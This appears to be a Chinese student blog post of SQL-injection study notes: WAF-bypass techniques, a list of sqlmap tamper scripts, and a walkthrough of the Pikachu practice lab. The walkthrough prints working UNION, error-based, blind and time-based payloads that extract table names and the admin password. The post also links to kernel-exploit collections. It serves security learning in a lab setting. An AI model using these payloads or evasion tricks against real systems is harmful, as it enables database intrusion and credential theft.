web攻击与防御技术--SQL注入

sql注入是WEB安全中比较重要而复杂的一个东西。而且危害性比较大。

一般来讲SQL注入的话首先要识别注入点。一个是看能不能注入另外一个是看是什么类型的注入比如说字符,数字,搜索(?)等等

GET、POST、HEADER

专门针对一个waf进行测试的时候就要将这几个点全测试个遍,header中还包括Cookie、X-Forwarded-For等,往往除了GET以外其他都是过滤最弱的

一般来讲也是先进行输入尝试,判断WAF。一般来讲简单的语法会被过滤。

不过尝试起来最简单的判断法是这个1^1^0 亦或的玩法。或者是{``你的操作}这种都能基础对waf进行一个Bypass?

从练习上来讲SQli-labs等等拿来学习SQLlab貌似挺好用的。。

然后就是一个字符替换和GET POST问题了。

感觉所谓sql攻防其实是一种对策性的东西。一般来讲就是过滤一些关键字符和一些关键函数,感觉可以说是黑名单?

如果想要绕过防御的话从字符集的角度和SQL的返回特性,然后还有一些溢出的角度(部分题。。)来看或许比较好?

一般来讲操作都是从编码 和闭合 上入手。

然后主要是替代和解析。。不过应该是还得分Mysql啊之类的这样的分的。。

字符替代和解析用的感觉是最多的。然后字符集就我现在知道的就这些。。

unlencode
base64
json
binary
querystring
htmlencode
unicode
php serialize

但是如果对方调用了一些大小写敏感的函数来做的话大小写有的可以绕。

比如空格在被过滤了的时候可以使用%09%0A %0B %0C %0D %A0 %20 /**/这些来替代一下

注释的话

#, --+, /*xxx*/, /*!xxx*/, /*!50000xxx*/

特殊字符听说这些可以~, !, ``, @``, {x key}, 1.1, 1e1, (), emoji表情符号, @:= 。但是我没怎么试过。。

然后就是函数代替,函数代替方面来讲的话可以用一些像是LIKE啊之类的基础词来代替函数功能(差不太多)

然后就是要知道一些常见的内置库的名字和里面的名字

然后就是对于字段名的过滤

一个是利用虚拟表,另外一个是盲注。。

现在自己总结的都是从网上到处摸的。大部分依赖于PAPER

现在就已经知道的BYpass

还有一些速查表

因为还是蛮憨憨的。。。顶多在这里写一下特殊字符代替法。

科学记数法

空白字符

SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

+号,-号,''号,~号,!号,@`形式`,点号.1,单引号双引号,括号select(1),花括号,select%0aall{嘤嘤嘤}from{嘤嘤嘤}这样的,畸形协议&请求,php+apache,HPP,双重编码,正则逃逸魔法,Mysql自定义变量玩法,堆叠查询,二阶 SQL 注入
(畸形协议&请求:asp/asp.net: 还有asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式,
不管是GET还是POST,都可正常接收,过滤GET请求时如果没有对application/x-www-form-urlencoded提交数据方式进行过滤,就会导致任意注入。)
(php+apache:就是因为waf通常会对请求进行严格的协议判断,比如GET、POST等,但是apache解析协议时却没有那么严格,当我们将协议随便定义时也是可以的
而php的解析器PHP解析器在解析multipart请求的时候,它以逗号作为边界,只取boundary,而普通解析器接受整个字符串。
因此,如果没有按正确规范的话,就会出现这么一个状况:首先填充无害的data,waf将其视为了一个整体请求,其实还包含着恶意语句。)
(HPP:HPP是指HTTP参数污染-HTTP Parameter Pollution。当查询字符串多次出现同一个key时,根据容器不同会得到不同的结果。 假设提交的参数即为id=1&id=2&id=3。那么
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
)
(正则逃逸:最简单的比方,过滤了%23%0a却不过滤%2d%2d%0a)
(Mysql自定义变量玩法就是比较特殊,比如union select from被正则了刷了,那就可以select from union,就是先设置一个变量名字,写成@wsdd=select+嘤嘤嘤+from 嘤嘤嘤 where id=1)/*yyy*/union/*yyy*/select @wsdd这样的东西组合绕过。
(顺带说一下就是get 和 post 也是有些区别的。。#号是sql中的注释,+号是HTTP的空格,HTTP的转义使得语句会变得不一样,get的时候应该还是适用于+,因为这个地方是+会变成空格
然后在post的时候可以直接空格的感觉,貌似POST中的空格是直接转换成+的。然后就是get的时候一般还是 - 这个组合比较好用,因为 #在GET的情况下不会被URLencode到%23,成为锚链接就无法传递了。)
这里放一下SEEBUG上面的图。就几个字符而言可以看出都是拿来代替空格的。

然后就是检测。。检测的话

比如union select

  select from

  union from

然后就是select all啊distinct distinctrow之类的。

如果像是select all这样的东西被过滤了。select all就可以拿来变成/*!155132%0aselect%20all*/或者是/*!155132select%0aall*/依靠科学计数法和空白字符等等方式。(这部分科学计数法有的时候需要fuzz处理一下,因为会有一个拦截范围)

然后就是几个奇葩的了。。有的waf在检测POST检测的时候不进行URL检测,然后在正常的HTTP处理流程上,即使是本身是GET的接受方式,但是接受了POST的依然是正常执行,但是WAF会用POST对这个进行检测。

然后最缺德的是有人依靠注释里写入超超超长的字符串把对面waf打宕机。当然字符长度有的时候也会影响waf判断,就是有的waf会有一个最长判断范围,超过了就不管了。。

然后就是emoji注入。。。EMOJI本身是一种5个字节大小的,mysql下是4个字节,安全宝就被%23  200多个表情 %0a给BYpass了后面跟个user(),这个东西还特别鬼畜,就是有的拿愤怒那个表情才能注进去(实际上能bypass的字符都是ascii超过了127的字符,但是愤怒的emoj是唯一一个%a0结尾的)

然后就是sql的bypass tamper:

apostrophemask.py 用UTF-8全角字符替换单引号字符
apostrophenullencode.py 用非法双字节unicode字符替换单引号字符
appendnullbyte.py 在payload末尾添加空字符编码
base64encode.py 对给定的payload全部字符使用Base64编码
between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符)
charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
equaltolike.py 用“LIKE”运算符替换全部等于号“=”
greatest.py 用“GREATEST”函数替换大于号“>”
halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释
ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
lowercase.py 用小写值替换每个关键字字符
modsecurityversioned.py 用注释包围完整的查询
modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询
multiplespaces.py 在SQL关键字周围添加多个空格
nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器
overlongutf8.py 转换给定的payload当中的所有字符
percentage.py 在每个字符之前添加一个百分号
randomcase.py 随机转换每个关键字字符的大小写
randomcomments.py 向SQL关键字中插入随机注释
securesphere.py 添加经过特殊构造的字符串
sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
space2comment.py 用“/**/”替换空格符
space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符
space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符
space2plus.py 用加号“+”替换空格符
space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符
unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT”
unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符
varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF
versionedkeywords.py 用MySQL注释包围每个非函数关键字
versionedmorekeywords.py 用MySQL注释包围每个关键字
xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
(后续更新= =)
然后就是神仙打架的时候也有提到有毒标识模型插入各个需要插入的位来测试。
顺便补一下找到的bypass大神的paper。。Author:Tr3jer_CongRong Blog:www.Thinkings.org
(后续更新= =)
整合贴来源:
https://paper.seebug.org/218/
https://paper.seebug.org/papers/Archive/drops2/%e4%bd%bf%e7%94%a8sqlmap%e4%b8%adtamper%e8%84%9a%e6%9c%ac%e7%bb%95%e8%bf%87waf.html(这个是tamper的作用)
https://paper.seebug.org/papers/Archive/drops2/%e5%88%a9%e7%94%a8insert%ef%bc%8cupdate%e5%92%8cdelete%e6%b3%a8%e5%85%a5%e8%8e%b7%e5%8f%96%e6%95%b0%e6%8d%ae.html(这个是针对update insert delete的)
https://www.cnblogs.com/qiudabai/articles/9246604.html(速查表)
https://www.anquanke.com/post/id/170626#h2-13(盲注)
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI(bypass 2)
后续还会把black hat 之类的网站边自己翻译边学= =
不过估计进度还是慢的谷歌翻译看着太恶心了看ATT&CK的时候人都自闭了。
然后开始正题。。?
数字型post

 获得全部数据

 数字的GET型

先输入一下关键字

进行测试

 

就直接出来了

 

 搜索型get

因为猜测是where name like *输入内容*

所以直接打

 

甚至这么玩都可以。。。

 

xx型注入

然后这道题的边界是’)

 然后参考里面的那个实验注入写的貌似是错的??

')union select database(),user() #

这么写能爆出来

那个参考的后续应该是都有这个问题。

但是这里有个问题就是返回的时候必须是返回一对数据,也就是说如果union select 的只有一个user()会报错

 ')union select table_schema,table_name from information_schema.tables where table_schema='pikachu' #

就我自己的机器应该是这么注入的。而且他的编码有问题

 ')union select table_name,column_name from information_schema.columns where table_name='users' --  

 

 

'union select username,password from users #

可能注入的地方不一样,但是他的那个确实是有点点小问题?

 insert/update 注入

因为上面那个实验其实已经把表什么的都注出来了。

 所以会在这里简略一点。

yyy' or updatexml(1, concat(0x7e,(select password from users where username = 'admin' limit 0,1)), 0) or '

 对于password的解密需要对应版本的来解密就可以了。

delete 型注入

抓个包

 发现传参id=66 证明是数字型,所以不需要构筑’

 出来了

http header 注入

因为是头部注入所以要么中传要么给他改包

一共记录了ip user agent http accept port 三个信息。现在猜测都进入数据库且前三个是字符型,最后一个是数字型或者也有可能是字符型因为是tcp56359,也就是说可能是4个字符型,那就都按string的类型注入。并且后台有个update (ip user agent http accept port )的语句

看一下传递

 ip user agent http accept port这几个地方分别修改

host,user-agent,accept,这三个能改,都是字符型

那就直接随便抓一个改成’+or+updatexml(1,concat(0x7e,database()),+0)+or+‘

 但是貌似有问题?每次返回都是正常的。

 布尔盲注

 因为是盲注题所以一般都比较靠猜测。先试一试爆个普通的看看

参考的那个应该也对但是没个人都有自己喜欢的爆的语句,我更喜欢短一点的。。。

首先找个对的。kobe

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>9#

返回错误,证明表名小于9

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<7#

返回错误,证明表名大于7

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)<8#

返回错误,证明表名大于8

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=8#

大于8小于9 是8

kobe' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=8#

然后是表名挨个爆

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104#

第一个字母h

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=116#

第二个字母t

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=116#

也是t第三个字母

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=112#

第四个字母p

剩下的依次课爆

前面的参数该的第几个表

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),4,1))=112#

比如第二个表第四个字猜测

后面的话就是修改select ??? from ???where ****=***** limit 这个语句去选择要盲的对象。

按时间盲注

基于睡眠盲注就是根据返回时间的差别和卡顿来显示是否成功

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#实际上就是把and的条件改成if(*****,sleep(3),null)就行。。都是基于返回结果的注入。

宽字节注入

漏洞原因是character_set_client = gbk

只要能让’逃逸出来就行了

宽字节就是拿前一个大于127的。

比如%df

直接就可以在数据包内抓包修改

 

就抓到了

顺便 圣 诞 快 乐

分享1个好恰饭的东西还有转载的。剩下的平安夜再发8 D

https://github.com/SecWiki/linux-kernel-exploits

https://github.com/SecWiki/CMS-Hunter

https://github.com/SecWiki/windows-kernel-exploits

后续平安夜那天应该会把一些其他的中间件检测啊之类还有大神们刚给开源的几个github上的东西发一下。

还有狩猎女神项目看看能不能获得什么好总结的东西@  。 @

Merry Xmas!!

虽说有点不希望什么分享的东西都被发现就是了= =

猜你喜欢

转载自www.cnblogs.com/p201721430032/p/12077629.html